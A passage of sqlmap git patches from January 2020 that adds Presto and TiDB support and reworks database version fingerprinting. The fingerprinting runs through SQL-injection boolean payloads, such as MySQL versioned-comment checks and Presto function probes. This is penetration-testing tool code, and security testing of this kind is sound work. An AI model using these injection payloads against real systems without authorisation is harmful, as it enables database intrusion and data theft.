Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.PRESTO) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.PRESTO + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(PRESTO_ALIASES): + setDbms(DBMS.PRESTO) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.PRESTO + logger.info(infoMsg) + + result = inject.checkBooleanExpression("TO_BASE64URL(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.PRESTO + logger.info(infoMsg) + + result = inject.checkBooleanExpression("TO_HEX(FROM_HEX(NULL)) IS NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.PRESTO + logger.warn(warnMsg) + + return False + + setDbms(DBMS.PRESTO) + + if not conf.extensiveFp: + return True + + infoMsg = "actively fingerprinting %s" % DBMS.PRESTO + logger.info(infoMsg) + + # Reference: https://prestodb.io/docs/current/release/release-0.200.html + if inject.checkBooleanExpression("FROM_IEEE754_32(NULL) IS NULL"): + Backend.setVersion(">= 0.200") + # Reference: https://prestodb.io/docs/current/release/release-0.193.html + elif inject.checkBooleanExpression("NORMAL_CDF(NULL,NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.193") + # Reference: https://prestodb.io/docs/current/release/release-0.183.html + elif inject.checkBooleanExpression("MAP_ENTRIES(NULL) IS NULL"): + Backend.setVersion(">= 0.183") + # Reference: https://prestodb.io/docs/current/release/release-0.171.html + elif inject.checkBooleanExpression("CODEPOINT(NULL) IS NULL"): + Backend.setVersion(">= 0.171") + # Reference: https://prestodb.io/docs/current/release/release-0.162.html + elif inject.checkBooleanExpression("XXHASH64(NULL) IS NULL"): + Backend.setVersion(">= 0.162") + # Reference: https://prestodb.io/docs/current/release/release-0.151.html + elif inject.checkBooleanExpression("COSINE_SIMILARITY(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.151") + # Reference: https://prestodb.io/docs/current/release/release-0.143.html + elif inject.checkBooleanExpression("TRUNCATE(NULL) IS NULL"): + Backend.setVersion(">= 0.143") + # Reference: https://prestodb.io/docs/current/release/release-0.137.html + elif inject.checkBooleanExpression("BIT_COUNT(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.137") + # Reference: https://prestodb.io/docs/current/release/release-0.130.html + elif inject.checkBooleanExpression("MAP_CONCAT(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.130") + # Reference: https://prestodb.io/docs/current/release/release-0.115.html + elif inject.checkBooleanExpression("SHA1(NULL) IS NULL"): + Backend.setVersion(">= 0.115") + # Reference: https://prestodb.io/docs/current/release/release-0.100.html + elif inject.checkBooleanExpression("SPLIT(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.100") + # Reference: https://prestodb.io/docs/current/release/release-0.70.html + elif inject.checkBooleanExpression("GREATEST(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.70") + else: + Backend.setVersion("< 0.100") + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.PRESTO + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/presto/syntax.py b/plugins/dbms/presto/syntax.py new file mode 100644 index 000000000..f9355c077 --- /dev/null +++ b/plugins/dbms/presto/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/presto/takeover.py b/plugins/dbms/presto/takeover.py new file mode 100644 index 000000000..e27563c47 --- /dev/null +++ b/plugins/dbms/presto/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Presto it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Presto it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Presto it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Presto it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 5eb713b59..b8389d089 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -82,7 +82,7 @@ class Databases(object): if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA): kb.data.currentDb = VERTICA_DEFAULT_SCHEMA - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "schema names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -102,7 +102,7 @@ class Databases(object): warnMsg += "names will be fetched from 'mysql' database" logger.warn(warnMsg) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.DERBY): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -589,7 +589,7 @@ class Databases(object): condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -731,7 +731,7 @@ class Databases(object): condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -798,7 +798,7 @@ class Databases(object): continue for index in getLimitRange(count): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery field = None @@ -848,7 +848,7 @@ class Databases(object): singleTimeWarnMessage(warnMsg) if not onlyColNames: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 74d664564..99fd9d646 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -232,7 +232,7 @@ class Entries(object): entries = BigArray(_zip(*[entries[colName] for colName in colList])) else: query = rootQuery.inband.query % (colString, conf.db, tbl) - elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA): + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO): query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) @@ -405,7 +405,7 @@ class Entries(object): if column not in entries: entries[column] = BigArray() - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) From 447e5ec0eabe129be855a867f198d487903b1060 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Jan 2020 22:18:53 +0100 Subject: [PATCH 103/159] Trivial patch --- extra/shutils/pypi.sh | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index 7e9892d19..4111954f6 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -132,13 +132,13 @@ To get a list of basic options and switches use: :: - python sqlmap.py -h + sqlmap -h To get a list of all options and switches use: :: - python sqlmap.py -hh + sqlmap -hh You can find a sample run `here `__. To get an overview of sqlmap capabilities, list of supported features and diff --git a/lib/core/settings.py b/lib/core/settings.py index 3ea1fef5f..b36d22d6c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.43" +VERSION = "1.4.1.44" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 3779531540288840ca9b98c9f83d8f435e346117 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Jan 2020 23:27:33 +0100 Subject: [PATCH 104/159] Adding support for TiDB --- lib/core/agent.py | 2 +- lib/core/enums.py | 1 + lib/core/settings.py | 2 +- plugins/dbms/mysql/fingerprint.py | 8 +++++++- 4 files changed, 10 insertions(+), 3 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 301118201..d3f4eedc7 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -385,7 +385,7 @@ class Agent(object): for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, randomStr()) - if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) == FORK.MEMSQL: + if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB): payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload) payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload) payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload) diff --git a/lib/core/enums.py b/lib/core/enums.py index 76d0760af..6b37ee1da 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -75,6 +75,7 @@ class FORK(object): MARIADB = "MariaDB" MEMSQL = "MemSQL" COCKROACHDB = "CockroachDB" + TIDB = "TiDB" class CUSTOM_LOGGING(object): PAYLOAD = 9 diff --git a/lib/core/settings.py b/lib/core/settings.py index b36d22d6c..498ac3d2f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.44" +VERSION = "1.4.1.45" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index e6ea36765..b8c35dfbf 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -99,7 +99,13 @@ class Fingerprint(GenericFingerprint): fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) if fork is None: - fork = inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'") and FORK.MARIADB or "" + if inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'"): + fork = FORK.MARIADB + elif inject.checkBooleanExpression("VERSION() LIKE '%TiDB%'"): + fork = FORK.TIDB + else: + fork = "" + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) value = "" From f2518f71121509d7236b3c462502e3576158f367 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Jan 2020 23:36:28 +0100 Subject: [PATCH 105/159] Trivial update --- lib/core/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 498ac3d2f..57acad4c1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.45" +VERSION = "1.4.1.46" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -266,7 +266,7 @@ MCKOI_SYSTEM_DBS = ("",) PRESTO_SYSTEM_DBS = ("information_schema",) MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") -MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql") +MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb") PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") ORACLE_ALIASES = ("oracle", "orcl", "ora", "or") SQLITE_ALIASES = ("sqlite", "sqlite3") From 35fa710eedf9b8a663cc6f123f24b7a157f08a4e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 24 Jan 2020 12:38:25 +0100 Subject: [PATCH 106/159] Fixes #4084 --- lib/core/agent.py | 6 ++++-- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index d3f4eedc7..cffc043a6 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -188,8 +188,10 @@ class Agent(object): else: newValue = self.addPayloadDelimiters(newValue) - newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER) - retVal = paramString.replace(_, newValue) + if newValue: + newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER) + retVal = paramString.replace(_, newValue) + retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark) elif BOUNDED_INJECTION_MARKER in paramDict[parameter]: retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue)) diff --git a/lib/core/settings.py b/lib/core/settings.py index 57acad4c1..8d076d46b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.46" +VERSION = "1.4.1.47" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 6f54be987fc5519e5fd96f221d346b48f781112e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 25 Jan 2020 16:33:48 +0100 Subject: [PATCH 107/159] Minor modification --- lib/core/settings.py | 2 +- lib/techniques/error/use.py | 6 +++--- lib/techniques/union/use.py | 6 +++--- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8d076d46b..84bf77124 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.47" +VERSION = "1.4.1.48" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index f46fc54c1..ce63ba203 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -340,9 +340,9 @@ def errorUse(expression, dump=False): else: stopLimit = int(count) - infoMsg = "used SQL query returns " - infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") - logger.info(infoMsg) + debugMsg = "used SQL query returns " + debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") + logger.debug(debugMsg) elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index af05c946b..64ef7b96a 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -261,9 +261,9 @@ def unionUse(expression, unpack=True, dump=False): else: stopLimit = int(count) - infoMsg = "used SQL query returns " - infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") - logger.info(infoMsg) + debugMsg = "used SQL query returns " + debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") + logger.debug(debugMsg) elif count and (not isinstance(count, six.string_types) or not count.isdigit()): warnMsg = "it was not possible to count the number " From 39be0f30d809299efcb9b27b0e1ba29326269471 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 25 Jan 2020 16:49:32 +0100 Subject: [PATCH 108/159] Adding recognition of Azure --- lib/core/settings.py | 2 +- plugins/dbms/mssqlserver/fingerprint.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 84bf77124..7d6973f21 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.48" +VERSION = "1.4.1.49" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 4e4f7db0e..42d84f497 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -95,7 +95,8 @@ class Fingerprint(GenericFingerprint): ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), ("2014", "CHARINDEX('12.0.2000',@@version)>0"), ("2016", "ISJSON(NULL) IS NULL"), - ("2017", "TRIM(NULL) IS NULL") + ("2017", "TRIM(NULL) IS NULL"), + ("Azure", "@@VERSION LIKE '%Azure%'"), ): result = inject.checkBooleanExpression(check) From b2d6ab29495963de7fc01b7023a27f99e705343b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 25 Jan 2020 17:15:11 +0100 Subject: [PATCH 109/159] Minor update --- lib/core/settings.py | 2 +- plugins/dbms/mssqlserver/fingerprint.py | 16 +++++++++------- 2 files changed, 10 insertions(+), 8 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7d6973f21..41acdb23e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.49" +VERSION = "1.4.1.50" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 42d84f497..ae2c05a03 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -89,19 +89,21 @@ class Fingerprint(GenericFingerprint): logger.info(infoMsg) for version, check in ( - ("2000", "HOST_NAME()=HOST_NAME()"), - ("2005", "XACT_STATE()=XACT_STATE()"), - ("2008", "SYSDATETIME()=SYSDATETIME()"), - ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), - ("2014", "CHARINDEX('12.0.2000',@@version)>0"), - ("2016", "ISJSON(NULL) IS NULL"), - ("2017", "TRIM(NULL) IS NULL"), + ("2019", "CHARINDEX('15.0.',@@VERSION)>0"), ("Azure", "@@VERSION LIKE '%Azure%'"), + ("2017", "TRIM(NULL) IS NULL"), + ("2016", "ISJSON(NULL) IS NULL"), + ("2014", "CHARINDEX('12.0.',@@VERSION)>0"), + ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), + ("2008", "SYSDATETIME()=SYSDATETIME()"), + ("2005", "XACT_STATE()=XACT_STATE()"), + ("2000", "HOST_NAME()=HOST_NAME()"), ): result = inject.checkBooleanExpression(check) if result: Backend.setVersion(version) + break if Backend.getVersion(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) From 615ac3b733a58b1fbfbea73c7c0648107d525922 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 25 Jan 2020 23:37:57 +0100 Subject: [PATCH 110/159] Minor optimizations --- lib/core/settings.py | 2 +- plugins/dbms/mysql/fingerprint.py | 55 +++++++++++--------------- plugins/dbms/postgresql/fingerprint.py | 4 +- 3 files changed, 26 insertions(+), 35 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 41acdb23e..9a0f6962c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.50" +VERSION = "1.4.1.51" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index b8c35dfbf..da0d890b2 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -45,54 +45,43 @@ class Fingerprint(GenericFingerprint): # Reference: https://dev.mysql.com/doc/relnotes/mysql/./en/ versions = ( - (32200, 32235), # MySQL 3.22 - (32300, 32359), # MySQL 3.23 - (40000, 40032), # MySQL 4.0 - (40100, 40131), # MySQL 4.1 - (50000, 50097), # MySQL 5.0 - (50100, 50174), # MySQL 5.1 - (50400, 50404), # MySQL 5.4 - (50500, 50562), # MySQL 5.5 - (50600, 50648), # MySQL 5.6 - (50700, 50730), # MySQL 5.7 - (60000, 60014), # MySQL 6.0 (80000, 80021), # MySQL 8.0 + (60000, 60014), # MySQL 6.0 + (50700, 50731), # MySQL 5.7 + (50600, 50649), # MySQL 5.6 + (50500, 50563), # MySQL 5.5 + (50400, 50404), # MySQL 5.4 + (50100, 50174), # MySQL 5.1 + (50000, 50097), # MySQL 5.0 + (40100, 40131), # MySQL 4.1 + (40000, 40032), # MySQL 4.0 + (32300, 32359), # MySQL 3.23 + (32200, 32235), # MySQL 3.22 ) - index = -1 - for i in xrange(len(versions)): - element = versions[i] - version = element[0] - version = getUnicode(version) - result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) + found = False + for candidate in versions: + result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1]=[RANDNUM2]*/" % candidate[0]) - if result: + if not result: + found = True break - else: - index += 1 - if index >= 0: - prevVer = None - - for version in xrange(versions[index][0], versions[index][1] + 1): + if found: + for version in xrange(candidate[1], candidate[0] - 1, -1): version = getUnicode(version) result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) - if result: - if not prevVer: - prevVer = version - + if not result: if version[0] == "3": - midVer = prevVer[1:3] + midVer = version[1:3] else: - midVer = prevVer[2] + midVer = version[2] - trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) + trueVer = "%s.%s.%s" % (version[0], midVer, version[3:]) return trueVer - prevVer = version - return None def getFingerprint(self): diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index fab1ef358..1c31dcd4c 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -115,7 +115,9 @@ class Fingerprint(GenericFingerprint): infoMsg = "actively fingerprinting %s" % DBMS.PGSQL logger.info(infoMsg) - if inject.checkBooleanExpression("SHA256(NULL) IS NULL"): + if inject.checkBooleanExpression("SINH(0)=0"): + Backend.setVersion(">= 12.0") + elif inject.checkBooleanExpression("SHA256(NULL) IS NULL"): Backend.setVersion(">= 11.0") elif inject.checkBooleanExpression("XMLTABLE(NULL) IS NULL"): Backend.setVersionList([">= 10.0", "< 11.0"]) From 4cf14c80eb54bde51a56f6ed7d577b098d4f983b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 27 Jan 2020 01:07:15 +0100 Subject: [PATCH 111/159] Fixes #4086 --- lib/core/common.py | 5 ++++- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 2dbaaa2ae..49b4a158f 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -138,6 +138,7 @@ from lib.core.settings import IS_TTY from lib.core.settings import IS_WIN from lib.core.settings import LARGE_OUTPUT_THRESHOLD from lib.core.settings import LOCALHOST +from lib.core.settings import MAX_INT from lib.core.settings import MIN_ENCODED_LEN_CHECK from lib.core.settings import MIN_ERROR_PARSING_NON_WRITING_RATIO from lib.core.settings import MIN_TIME_RESPONSES @@ -2998,9 +2999,11 @@ def isNumPosStrValue(value): False >>> 